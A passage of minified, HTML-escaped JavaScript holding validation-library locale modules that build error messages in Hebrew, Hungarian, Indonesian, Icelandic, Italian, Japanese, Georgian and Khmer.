E.164&quot;,gender:&quot;m&quot;},jwt:{label:&quot;JWT&quot;,gender:&quot;m&quot;},ends_with:{label:&quot;קלט&quot;,gender:&quot;m&quot;},includes:{label:&quot;קלט&quot;,gender:&quot;m&quot;},lowercase:{label:&quot;קלט&quot;,gender:&quot;m&quot;},starts_with:{label:&quot;קלט&quot;,gender:&quot;m&quot;},uppercase:{label:&quot;קלט&quot;,gender:&quot;m&quot;}};return d=&gt;{switch(d.code){case&quot;invalid_type&quot;:{const u=d.expected,h=n(u),p=l(d.input),A=e[p]?.label??p;return`קלט לא תקין: צריך להיות ${h}, התקבל ${A}`}case&quot;invalid_value&quot;:{if(d.values.length===1)return`ערך לא תקין: הערך חייב להיות ${xn(d.values[0])}`;const u=d.values.map(A=&gt;xn(A));if(d.values.length===2)return`ערך לא תקין: האפשרויות המתאימות הן ${u[0]} או ${u[1]}`;const h=u[u.length-1];return`ערך לא תקין: האפשרויות המתאימות הן ${u.slice(0,-1).join(&quot;, &quot;)} או ${h}`}case&quot;too_big&quot;:{const u=o(d.origin),h=i(d.origin??&quot;value&quot;);if(d.origin===&quot;string&quot;)return`${u?.longLabel??&quot;ארוך&quot;} מדי: ${h} צריכה להכיל ${d.maximum.toString()} ${u?.unit??&quot;&quot;} ${d.inclusive?&quot;או פחות&quot;:&quot;לכל היותר&quot;}`.trim();if(d.origin===&quot;number&quot;){const y=d.inclusive?`קטן או שווה ל-${d.maximum}`:`קטן מ-${d.maximum}`;return`גדול מדי: ${h} צריך להיות ${y}`}if(d.origin===&quot;array&quot;||d.origin===&quot;set&quot;){const y=d.origin===&quot;set&quot;?&quot;צריכה&quot;:&quot;צריך&quot;,v=d.inclusive?`${d.maximum} ${u?.unit??&quot;&quot;} או פחות`:`פחות מ-${d.maximum} ${u?.unit??&quot;&quot;}`;return`גדול מדי: ${h} ${y} להכיל ${v}`.trim()}const p=d.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,A=s(d.origin??&quot;value&quot;);return u?.unit?`${u.longLabel} מדי: ${h} ${A} ${p}${d.maximum.toString()} ${u.unit}`:`${u?.longLabel??&quot;גדול&quot;} מדי: ${h} ${A} ${p}${d.maximum.toString()}`}case&quot;too_small&quot;:{const u=o(d.origin),h=i(d.origin??&quot;value&quot;);if(d.origin===&quot;string&quot;)return`${u?.shortLabel??&quot;קצר&quot;} מדי: ${h} צריכה להכיל ${d.minimum.toString()} ${u?.unit??&quot;&quot;} ${d.inclusive?&quot;או יותר&quot;:&quot;לפחות&quot;}`.trim();if(d.origin===&quot;number&quot;){const y=d.inclusive?`גדול או שווה ל-${d.minimum}`:`גדול מ-${d.minimum}`;return`קטן מדי: ${h} צריך להיות ${y}`}if(d.origin===&quot;array&quot;||d.origin===&quot;set&quot;){const y=d.origin===&quot;set&quot;?&quot;צריכה&quot;:&quot;צריך&quot;;if(d.minimum===1&amp;&amp;d.inclusive){const w=(d.origin===&quot;set&quot;,&quot;לפחות פריט אחד&quot;);return`קטן מדי: ${h} ${y} להכיל ${w}`}const v=d.inclusive?`${d.minimum} ${u?.unit??&quot;&quot;} או יותר`:`יותר מ-${d.minimum} ${u?.unit??&quot;&quot;}`;return`קטן מדי: ${h} ${y} להכיל ${v}`.trim()}const p=d.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,A=s(d.origin??&quot;value&quot;);return u?.unit?`${u.shortLabel} מדי: ${h} ${A} ${p}${d.minimum.toString()} ${u.unit}`:`${u?.shortLabel??&quot;קטן&quot;} מדי: ${h} ${A} ${p}${d.minimum.toString()}`}case&quot;invalid_format&quot;:{const u=d;if(u.format===&quot;starts_with&quot;)return`המחרוזת חייבת להתחיל ב &quot;${u.prefix}&quot;`;if(u.format===&quot;ends_with&quot;)return`המחרוזת חייבת להסתיים ב &quot;${u.suffix}&quot;`;if(u.format===&quot;includes&quot;)return`המחרוזת חייבת לכלול &quot;${u.includes}&quot;`;if(u.format===&quot;regex&quot;)return`המחרוזת חייבת להתאים לתבנית ${u.pattern}`;const h=c[u.format],p=h?.label??u.format,y=(h?.gender??&quot;m&quot;)===&quot;f&quot;?&quot;תקינה&quot;:&quot;תקין&quot;;return`${p} לא ${y}`}case&quot;not_multiple_of&quot;:return`מספר לא תקין: חייב להיות מכפלה של ${d.divisor}`;case&quot;unrecognized_keys&quot;:return`מפתח${d.keys.length&gt;1?&quot;ות&quot;:&quot;&quot;} לא מזוה${d.keys.length&gt;1?&quot;ים&quot;:&quot;ה&quot;}: ${hr(d.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return&quot;שדה לא תקין באובייקט&quot;;case&quot;invalid_union&quot;:return&quot;קלט לא תקין&quot;;case&quot;invalid_element&quot;:return`ערך לא תקין ב${i(d.origin??&quot;array&quot;)}`;default:return&quot;קלט לא תקין&quot;}}};function BMe(){return{localeError:SMe()}}const kMe=()=&gt;{const e={string:{unit:&quot;karakter&quot;,verb:&quot;legyen&quot;},file:{unit:&quot;byte&quot;,verb:&quot;legyen&quot;},array:{unit:&quot;elem&quot;,verb:&quot;legyen&quot;},set:{unit:&quot;elem&quot;,verb:&quot;legyen&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;szám&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;tömb&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;bemenet&quot;,email:&quot;email cím&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO időbélyeg&quot;,date:&quot;ISO dátum&quot;,time:&quot;ISO idő&quot;,duration:&quot;ISO időintervallum&quot;,ipv4:&quot;IPv4 cím&quot;,ipv6:&quot;IPv6 cím&quot;,cidrv4:&quot;IPv4 tartomány&quot;,cidrv6:&quot;IPv6 tartomány&quot;,base64:&quot;base64-kódolt string&quot;,base64url:&quot;base64url-kódolt string&quot;,json_string:&quot;JSON string&quot;,e164:&quot;E.164 szám&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;bemenet&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Érvénytelen bemenet: a várt érték ${i.expected}, a kapott érték ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`Érvénytelen bemenet: a várt érték ${xn(i.values[0])}`:`Érvénytelen opció: valamelyik érték várt ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`Túl nagy: ${i.origin??&quot;érték&quot;} mérete túl nagy ${s}${i.maximum.toString()} ${o.unit??&quot;elem&quot;}`:`Túl nagy: a bemeneti érték ${i.origin??&quot;érték&quot;} túl nagy: ${s}${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`Túl kicsi: a bemeneti érték ${i.origin} mérete túl kicsi ${s}${i.minimum.toString()} ${o.unit}`:`Túl kicsi: a bemeneti érték ${i.origin} túl kicsi ${s}${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`Érvénytelen string: &quot;${s.prefix}&quot; értékkel kell kezdődnie`:s.format===&quot;ends_with&quot;?`Érvénytelen string: &quot;${s.suffix}&quot; értékkel kell végződnie`:s.format===&quot;includes&quot;?`Érvénytelen string: &quot;${s.includes}&quot; értéket kell tartalmaznia`:s.format===&quot;regex&quot;?`Érvénytelen string: ${s.pattern} mintának kell megfelelnie`:`Érvénytelen ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`Érvénytelen szám: ${i.divisor} többszörösének kell lennie`;case&quot;unrecognized_keys&quot;:return`Ismeretlen kulcs${i.keys.length&gt;1?&quot;s&quot;:&quot;&quot;}: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Érvénytelen kulcs ${i.origin}`;case&quot;invalid_union&quot;:return&quot;Érvénytelen bemenet&quot;;case&quot;invalid_element&quot;:return`Érvénytelen érték: ${i.origin}`;default:return&quot;Érvénytelen bemenet&quot;}}};function _Me(){return{localeError:kMe()}}const DMe=()=&gt;{const e={string:{unit:&quot;karakter&quot;,verb:&quot;memiliki&quot;},file:{unit:&quot;byte&quot;,verb:&quot;memiliki&quot;},array:{unit:&quot;item&quot;,verb:&quot;memiliki&quot;},set:{unit:&quot;item&quot;,verb:&quot;memiliki&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;number&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;array&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;input&quot;,email:&quot;alamat email&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;tanggal dan waktu format ISO&quot;,date:&quot;tanggal format ISO&quot;,time:&quot;jam format ISO&quot;,duration:&quot;durasi format ISO&quot;,ipv4:&quot;alamat IPv4&quot;,ipv6:&quot;alamat IPv6&quot;,cidrv4:&quot;rentang alamat IPv4&quot;,cidrv6:&quot;rentang alamat IPv6&quot;,base64:&quot;string dengan enkode base64&quot;,base64url:&quot;string dengan enkode base64url&quot;,json_string:&quot;string JSON&quot;,e164:&quot;angka E.164&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;input&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Input tidak valid: diharapkan ${i.expected}, diterima ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`Input tidak valid: diharapkan ${xn(i.values[0])}`:`Pilihan tidak valid: diharapkan salah satu dari ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`Terlalu besar: diharapkan ${i.origin??&quot;value&quot;} memiliki ${s}${i.maximum.toString()} ${o.unit??&quot;elemen&quot;}`:`Terlalu besar: diharapkan ${i.origin??&quot;value&quot;} menjadi ${s}${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`Terlalu kecil: diharapkan ${i.origin} memiliki ${s}${i.minimum.toString()} ${o.unit}`:`Terlalu kecil: diharapkan ${i.origin} menjadi ${s}${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`String tidak valid: harus dimulai dengan &quot;${s.prefix}&quot;`:s.format===&quot;ends_with&quot;?`String tidak valid: harus berakhir dengan &quot;${s.suffix}&quot;`:s.format===&quot;includes&quot;?`String tidak valid: harus menyertakan &quot;${s.includes}&quot;`:s.format===&quot;regex&quot;?`String tidak valid: harus sesuai pola ${s.pattern}`:`${n[s.format]??i.format} tidak valid`}case&quot;not_multiple_of&quot;:return`Angka tidak valid: harus kelipatan dari ${i.divisor}`;case&quot;unrecognized_keys&quot;:return`Kunci tidak dikenali ${i.keys.length&gt;1?&quot;s&quot;:&quot;&quot;}: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Kunci tidak valid di ${i.origin}`;case&quot;invalid_union&quot;:return&quot;Input tidak valid&quot;;case&quot;invalid_element&quot;:return`Nilai tidak valid di ${i.origin}`;default:return&quot;Input tidak valid&quot;}}};function TMe(){return{localeError:DMe()}}const RMe=e=&gt;{const t=typeof e;switch(t){case&quot;number&quot;:return Number.isNaN(e)?&quot;NaN&quot;:&quot;númer&quot;;case&quot;object&quot;:{if(Array.isArray(e))return&quot;fylki&quot;;if(e===null)return&quot;null&quot;;if(Object.getPrototypeOf(e)!==Object.prototype&amp;&amp;e.constructor)return e.constructor.name}}return t},PMe=()=&gt;{const e={string:{unit:&quot;stafi&quot;,verb:&quot;að hafa&quot;},file:{unit:&quot;bæti&quot;,verb:&quot;að hafa&quot;},array:{unit:&quot;hluti&quot;,verb:&quot;að hafa&quot;},set:{unit:&quot;hluti&quot;,verb:&quot;að hafa&quot;}};function t(n){return e[n]??null}const r={regex:&quot;gildi&quot;,email:&quot;netfang&quot;,url:&quot;vefslóð&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO dagsetning og tími&quot;,date:&quot;ISO dagsetning&quot;,time:&quot;ISO tími&quot;,duration:&quot;ISO tímalengd&quot;,ipv4:&quot;IPv4 address&quot;,ipv6:&quot;IPv6 address&quot;,cidrv4:&quot;IPv4 range&quot;,cidrv6:&quot;IPv6 range&quot;,base64:&quot;base64-encoded strengur&quot;,base64url:&quot;base64url-encoded strengur&quot;,json_string:&quot;JSON strengur&quot;,e164:&quot;E.164 tölugildi&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;gildi&quot;};return n=&gt;{switch(n.code){case&quot;invalid_type&quot;:return`Rangt gildi: Þú slóst inn ${RMe(n.input)} þar sem á að vera ${n.expected}`;case&quot;invalid_value&quot;:return n.values.length===1?`Rangt gildi: gert ráð fyrir ${xn(n.values[0])}`:`Ógilt val: má vera eitt af eftirfarandi ${hr(n.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const i=n.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,s=t(n.origin);return s?`Of stórt: gert er ráð fyrir að ${n.origin??&quot;gildi&quot;} hafi ${i}${n.maximum.toString()} ${s.unit??&quot;hluti&quot;}`:`Of stórt: gert er ráð fyrir að ${n.origin??&quot;gildi&quot;} sé ${i}${n.maximum.toString()}`}case&quot;too_small&quot;:{const i=n.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,s=t(n.origin);return s?`Of lítið: gert er ráð fyrir að ${n.origin} hafi ${i}${n.minimum.toString()} ${s.unit}`:`Of lítið: gert er ráð fyrir að ${n.origin} sé ${i}${n.minimum.toString()}`}case&quot;invalid_format&quot;:{const i=n;return i.format===&quot;starts_with&quot;?`Ógildur strengur: verður að byrja á &quot;${i.prefix}&quot;`:i.format===&quot;ends_with&quot;?`Ógildur strengur: verður að enda á &quot;${i.suffix}&quot;`:i.format===&quot;includes&quot;?`Ógildur strengur: verður að innihalda &quot;${i.includes}&quot;`:i.format===&quot;regex&quot;?`Ógildur strengur: verður að fylgja mynstri ${i.pattern}`:`Rangt ${r[i.format]??n.format}`}case&quot;not_multiple_of&quot;:return`Röng tala: verður að vera margfeldi af ${n.divisor}`;case&quot;unrecognized_keys&quot;:return`Óþekkt ${n.keys.length&gt;1?&quot;ir lyklar&quot;:&quot;ur lykill&quot;}: ${hr(n.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Rangur lykill í ${n.origin}`;case&quot;invalid_union&quot;:return&quot;Rangt gildi&quot;;case&quot;invalid_element&quot;:return`Rangt gildi í ${n.origin}`;default:return&quot;Rangt gildi&quot;}}};function QMe(){return{localeError:PMe()}}const FMe=()=&gt;{const e={string:{unit:&quot;caratteri&quot;,verb:&quot;avere&quot;},file:{unit:&quot;byte&quot;,verb:&quot;avere&quot;},array:{unit:&quot;elementi&quot;,verb:&quot;avere&quot;},set:{unit:&quot;elementi&quot;,verb:&quot;avere&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;numero&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;vettore&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;input&quot;,email:&quot;indirizzo email&quot;,url:&quot;URL&quot;,emoji:&quot;emoji&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;data e ora ISO&quot;,date:&quot;data ISO&quot;,time:&quot;ora ISO&quot;,duration:&quot;durata ISO&quot;,ipv4:&quot;indirizzo IPv4&quot;,ipv6:&quot;indirizzo IPv6&quot;,cidrv4:&quot;intervallo IPv4&quot;,cidrv6:&quot;intervallo IPv6&quot;,base64:&quot;stringa codificata in base64&quot;,base64url:&quot;URL codificata in base64&quot;,json_string:&quot;stringa JSON&quot;,e164:&quot;numero E.164&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;input&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`Input non valido: atteso ${i.expected}, ricevuto ${r(i.input)}`;case&quot;invalid_value&quot;:return i.values.length===1?`Input non valido: atteso ${xn(i.values[0])}`:`Opzione non valida: atteso uno tra ${hr(i.values,&quot;|&quot;)}`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,o=t(i.origin);return o?`Troppo grande: ${i.origin??&quot;valore&quot;} deve avere ${s}${i.maximum.toString()} ${o.unit??&quot;elementi&quot;}`:`Troppo grande: ${i.origin??&quot;valore&quot;} deve essere ${s}${i.maximum.toString()}`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`Troppo piccolo: ${i.origin} deve avere ${s}${i.minimum.toString()} ${o.unit}`:`Troppo piccolo: ${i.origin} deve essere ${s}${i.minimum.toString()}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`Stringa non valida: deve iniziare con &quot;${s.prefix}&quot;`:s.format===&quot;ends_with&quot;?`Stringa non valida: deve terminare con &quot;${s.suffix}&quot;`:s.format===&quot;includes&quot;?`Stringa non valida: deve includere &quot;${s.includes}&quot;`:s.format===&quot;regex&quot;?`Stringa non valida: deve corrispondere al pattern ${s.pattern}`:`Invalid ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`Numero non valido: deve essere un multiplo di ${i.divisor}`;case&quot;unrecognized_keys&quot;:return`Chiav${i.keys.length&gt;1?&quot;i&quot;:&quot;e&quot;} non riconosciut${i.keys.length&gt;1?&quot;e&quot;:&quot;a&quot;}: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Chiave non valida in ${i.origin}`;case&quot;invalid_union&quot;:return&quot;Input non valido&quot;;case&quot;invalid_element&quot;:return`Valore non valido in ${i.origin}`;default:return&quot;Input non valido&quot;}}};function OMe(){return{localeError:FMe()}}const LMe=()=&gt;{const e={string:{unit:&quot;文字&quot;,verb:&quot;である&quot;},file:{unit:&quot;バイト&quot;,verb:&quot;である&quot;},array:{unit:&quot;要素&quot;,verb:&quot;である&quot;},set:{unit:&quot;要素&quot;,verb:&quot;である&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;NaN&quot;:&quot;数値&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;配列&quot;;if(i===null)return&quot;null&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;入力値&quot;,email:&quot;メールアドレス&quot;,url:&quot;URL&quot;,emoji:&quot;絵文字&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;ISO日時&quot;,date:&quot;ISO日付&quot;,time:&quot;ISO時刻&quot;,duration:&quot;ISO期間&quot;,ipv4:&quot;IPv4アドレス&quot;,ipv6:&quot;IPv6アドレス&quot;,cidrv4:&quot;IPv4範囲&quot;,cidrv6:&quot;IPv6範囲&quot;,base64:&quot;base64エンコード文字列&quot;,base64url:&quot;base64urlエンコード文字列&quot;,json_string:&quot;JSON文字列&quot;,e164:&quot;E.164番号&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;入力値&quot;};return i=&gt;{switch(i.code){case&quot;invalid_type&quot;:return`無効な入力: ${i.expected}が期待されましたが、${r(i.input)}が入力されました`;case&quot;invalid_value&quot;:return i.values.length===1?`無効な入力: ${xn(i.values[0])}が期待されました`:`無効な選択: ${hr(i.values,&quot;、&quot;)}のいずれかである必要があります`;case&quot;too_big&quot;:{const s=i.inclusive?&quot;以下である&quot;:&quot;より小さい&quot;,o=t(i.origin);return o?`大きすぎる値: ${i.origin??&quot;値&quot;}は${i.maximum.toString()}${o.unit??&quot;要素&quot;}${s}必要があります`:`大きすぎる値: ${i.origin??&quot;値&quot;}は${i.maximum.toString()}${s}必要があります`}case&quot;too_small&quot;:{const s=i.inclusive?&quot;以上である&quot;:&quot;より大きい&quot;,o=t(i.origin);return o?`小さすぎる値: ${i.origin}は${i.minimum.toString()}${o.unit}${s}必要があります`:`小さすぎる値: ${i.origin}は${i.minimum.toString()}${s}必要があります`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`無効な文字列: &quot;${s.prefix}&quot;で始まる必要があります`:s.format===&quot;ends_with&quot;?`無効な文字列: &quot;${s.suffix}&quot;で終わる必要があります`:s.format===&quot;includes&quot;?`無効な文字列: &quot;${s.includes}&quot;を含む必要があります`:s.format===&quot;regex&quot;?`無効な文字列: パターン${s.pattern}に一致する必要があります`:`無効な${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`無効な数値: ${i.divisor}の倍数である必要があります`;case&quot;unrecognized_keys&quot;:return`認識されていないキー${i.keys.length&gt;1?&quot;群&quot;:&quot;&quot;}: ${hr(i.keys,&quot;、&quot;)}`;case&quot;invalid_key&quot;:return`${i.origin}内の無効なキー`;case&quot;invalid_union&quot;:return&quot;無効な入力&quot;;case&quot;invalid_element&quot;:return`${i.origin}内の無効な値`;default:return&quot;無効な入力&quot;}}};function MMe(){return{localeError:LMe()}}const UMe=e=&gt;{const t=typeof e;switch(t){case&quot;number&quot;:return Number.isNaN(e)?&quot;NaN&quot;:&quot;რიცხვი&quot;;case&quot;object&quot;:{if(Array.isArray(e))return&quot;მასივი&quot;;if(e===null)return&quot;null&quot;;if(Object.getPrototypeOf(e)!==Object.prototype&amp;&amp;e.constructor)return e.constructor.name}}return{string:&quot;სტრინგი&quot;,boolean:&quot;ბულეანი&quot;,undefined:&quot;undefined&quot;,bigint:&quot;bigint&quot;,symbol:&quot;symbol&quot;,function:&quot;ფუნქცია&quot;}[t]??t},zMe=()=&gt;{const e={string:{unit:&quot;სიმბოლო&quot;,verb:&quot;უნდა შეიცავდეს&quot;},file:{unit:&quot;ბაიტი&quot;,verb:&quot;უნდა შეიცავდეს&quot;},array:{unit:&quot;ელემენტი&quot;,verb:&quot;უნდა შეიცავდეს&quot;},set:{unit:&quot;ელემენტი&quot;,verb:&quot;უნდა შეიცავდეს&quot;}};function t(n){return e[n]??null}const r={regex:&quot;შეყვანა&quot;,email:&quot;ელ-ფოსტის მისამართი&quot;,url:&quot;URL&quot;,emoji:&quot;ემოჯი&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;თარიღი-დრო&quot;,date:&quot;თარიღი&quot;,time:&quot;დრო&quot;,duration:&quot;ხანგრძლივობა&quot;,ipv4:&quot;IPv4 მისამართი&quot;,ipv6:&quot;IPv6 მისამართი&quot;,cidrv4:&quot;IPv4 დიაპაზონი&quot;,cidrv6:&quot;IPv6 დიაპაზონი&quot;,base64:&quot;base64-კოდირებული სტრინგი&quot;,base64url:&quot;base64url-კოდირებული სტრინგი&quot;,json_string:&quot;JSON სტრინგი&quot;,e164:&quot;E.164 ნომერი&quot;,jwt:&quot;JWT&quot;,template_literal:&quot;შეყვანა&quot;};return n=&gt;{switch(n.code){case&quot;invalid_type&quot;:return`არასწორი შეყვანა: მოსალოდნელი ${n.expected}, მიღებული ${UMe(n.input)}`;case&quot;invalid_value&quot;:return n.values.length===1?`არასწორი შეყვანა: მოსალოდნელი ${xn(n.values[0])}`:`არასწორი ვარიანტი: მოსალოდნელია ერთ-ერთი ${hr(n.values,&quot;|&quot;)}-დან`;case&quot;too_big&quot;:{const i=n.inclusive?&quot;&lt;=&quot;:&quot;&lt;&quot;,s=t(n.origin);return s?`ზედმეტად დიდი: მოსალოდნელი ${n.origin??&quot;მნიშვნელობა&quot;} ${s.verb} ${i}${n.maximum.toString()} ${s.unit}`:`ზედმეტად დიდი: მოსალოდნელი ${n.origin??&quot;მნიშვნელობა&quot;} იყოს ${i}${n.maximum.toString()}`}case&quot;too_small&quot;:{const i=n.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,s=t(n.origin);return s?`ზედმეტად პატარა: მოსალოდნელი ${n.origin} ${s.verb} ${i}${n.minimum.toString()} ${s.unit}`:`ზედმეტად პატარა: მოსალოდნელი ${n.origin} იყოს ${i}${n.minimum.toString()}`}case&quot;invalid_format&quot;:{const i=n;return i.format===&quot;starts_with&quot;?`არასწორი სტრინგი: უნდა იწყებოდეს &quot;${i.prefix}&quot;-ით`:i.format===&quot;ends_with&quot;?`არასწორი სტრინგი: უნდა მთავრდებოდეს &quot;${i.suffix}&quot;-ით`:i.format===&quot;includes&quot;?`არასწორი სტრინგი: უნდა შეიცავდეს &quot;${i.includes}&quot;-ს`:i.format===&quot;regex&quot;?`არასწორი სტრინგი: უნდა შეესაბამებოდეს შაბლონს ${i.pattern}`:`არასწორი ${r[i.format]??n.format}`}case&quot;not_multiple_of&quot;:return`არასწორი რიცხვი: უნდა იყოს ${n.divisor}-ის ჯერადი`;case&quot;unrecognized_keys&quot;:return`უცნობი გასაღებ${n.keys.length&gt;1?&quot;ები&quot;:&quot;ი&quot;}: ${hr(n.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`არასწორი გასაღები ${n.origin}-ში`;case&quot;invalid_union&quot;:return&quot;არასწორი შეყვანა&quot;;case&quot;invalid_element&quot;:return`არასწორი მნიშვნელობა ${n.origin}-ში`;default:return&quot;არასწორი შეყვანა&quot;}}};function $Me(){return{localeError:zMe()}}const HMe=()=&gt;{const e={string:{unit:&quot;តួអក្សរ&quot;,verb:&quot;គួរមាន&quot;},file:{unit:&quot;បៃ&quot;,verb:&quot;គួរមាន&quot;},array:{unit:&quot;ធាតុ&quot;,verb:&quot;គួរមាន&quot;},set:{unit:&quot;ធាតុ&quot;,verb:&quot;គួរមាន&quot;}};function t(i){return e[i]??null}const r=i=&gt;{const s=typeof i;switch(s){case&quot;number&quot;:return Number.isNaN(i)?&quot;មិនមែនជាលេខ (NaN)&quot;:&quot;លេខ&quot;;case&quot;object&quot;:{if(Array.isArray(i))return&quot;អារេ (Array)&quot;;if(i===null)return&quot;គ្មានតម្លៃ (null)&quot;;if(Object.getPrototypeOf(i)!==Object.prototype&amp;&amp;i.constructor)return i.constructor.name}}return s},n={regex:&quot;ទិន្នន័យបញ្ចូល&quot;,email:&quot;អាសយដ្ឋានអ៊ីមែល&quot;,url:&quot;URL&quot;,emoji:&quot;សញ្ញាអារម្មណ៍&quot;,uuid:&quot;UUID&quot;,uuidv4:&quot;UUIDv4&quot;,uuidv6:&quot;UUIDv6&quot;,nanoid:&quot;nanoid&quot;,guid:&quot;GUID&quot;,cuid:&quot;cuid&quot;,cuid2:&quot;cuid2&quot;,ulid:&quot;ULID&quot;,xid:&quot;XID&quot;,ksuid:&quot;KSUID&quot;,datetime:&quot;កាលបរិច្ឆេទ និងម៉ោង ISO&quot;,date:&quot;កាលបរិច្ឆេទ ISO&quot;,time:&quot;ម៉ោង ISO&quot;,duration:&quot;រយៈពេល ISO&quot;,ipv4:&quot;អាសយដ្ឋាន IPv4&quot;,ipv6:&quot;អាសយដ្ឋាន IPv6&quot;,cidrv4:&quot;ដែនអាសយដ្ឋាន IPv4&quot;,cidrv6:&quot;ដែនអាសយដ្ឋាន IPv6&quot;,base64:&quot;ខ្សែអក្សរអ៊ិកូដ base64&quot;,base64url:&quot;ខ្សែអក្សរអ៊ិកូដ base64url&quot;,json_string:&quot;ខ្សែអក្សរ JSON&quot;,e164:&quot;លេខ 